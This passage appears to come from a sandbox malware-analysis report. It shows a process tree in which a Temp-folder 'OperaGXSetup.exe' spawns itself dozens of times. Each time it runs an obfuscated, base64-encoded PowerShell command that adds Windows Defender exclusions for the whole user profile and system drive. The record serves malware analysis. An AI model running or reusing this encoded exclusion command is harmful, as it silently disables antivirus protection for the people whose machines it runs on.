        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        105⤵
        
        PID:572
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        105⤵
        
        PID:6556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        106⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        106⤵
        
        PID:6552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        107⤵
        
        PID:6344
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        107⤵
        
        PID:5300
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        108⤵
        
        PID:4080
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        108⤵
        
        PID:5368
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        109⤵
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        109⤵
        
        PID:3480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        110⤵
        
        PID:7020
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        110⤵
        
        PID:3824
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        111⤵
        
        PID:6520
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        111⤵
        
        PID:3896
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        112⤵
        
        PID:1944
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        112⤵
        
        PID:7588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        113⤵
        
        PID:212
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        113⤵
        
        PID:6916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        114⤵
        
        PID:3492
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        115⤵
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        114⤵
        
        PID:1144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        115⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        115⤵
        
        PID:4372
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        116⤵
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        116⤵
        
        PID:6280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        117⤵
        
        PID:3516
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        117⤵
        
        PID:5180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        118⤵
        
        PID:7568
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        118⤵
        
        PID:4668
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        119⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        119⤵
        
        PID:4500
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        120⤵
        
        PID:3896
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        120⤵
        
        PID:2768
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        121⤵
        
        PID:1808
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        121⤵
        
        PID:8052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        122⤵
        
        PID:4812
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        122⤵
        
        PID:7060
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        123⤵
        
        PID:8108
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        123⤵
        
        PID:5616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        124⤵
        
        PID:3760
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        124⤵
        
        PID:4372
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        125⤵
        
        PID:1728
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        125⤵
        
        PID:7708
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        126⤵
        
        PID:2536
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        126⤵
        
        PID:7580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        127⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        127⤵
        
        PID:1848
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        128⤵
        
        PID:2352
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        128⤵
        
        PID:2716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        129⤵
        
        PID:3512
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        129⤵
        
        PID:6368
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        130⤵
        
        PID:7452
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        130⤵
        
        PID:5400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        131⤵
        
        PID:2892
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        131⤵
        
        PID:6224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        132⤵
        
        PID:5464
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        132⤵
        
        PID:1440
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        133⤵
        
        PID:7068
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        133⤵
        
        PID:6100
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        134⤵
        
        PID:7548
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        134⤵
        
        PID:1636
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        135⤵
        
        PID:3560
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        135⤵
        
        PID:7716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        136⤵
        
        PID:8104
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        136⤵
        
        PID:8008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
